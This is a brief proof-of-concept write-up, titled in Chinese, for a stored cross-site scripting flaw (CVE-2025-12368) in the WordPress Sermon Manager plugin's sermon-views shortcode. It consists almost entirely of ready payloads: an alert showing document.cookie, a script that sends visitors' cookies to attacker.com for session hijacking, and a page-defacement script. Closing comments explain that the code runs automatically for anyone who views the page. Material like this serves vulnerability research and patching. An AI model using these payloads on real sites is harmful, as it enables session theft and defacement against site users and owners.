WordPress Sermon Manager插件sermon-views短代码存储型XSS漏洞(CVE-2025-12368)

<!-- PoC for CVE-2025-12368: Stored XSS via sermon-views shortcode --> <!-- Required: Contributor-level access or higher --> <!-- Method 1: Basic XSS PoC --> [sermon-views view_id="<img src=x onerror=alert(document.cookie)>"] <!-- Method 2: Session hijacking PoC --> [sermon-views category="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Method 3: Defacement --> [sermon-views filter="<script>document.body.innerHTML='Hacked';</script>"] <!-- Exploitation note: The malicious shortcode can be embedded in any WordPress post/page --> <!-- When other users visit the page, the injected JavaScript will execute automatically --> <!-- No user interaction required beyond visiting the page -->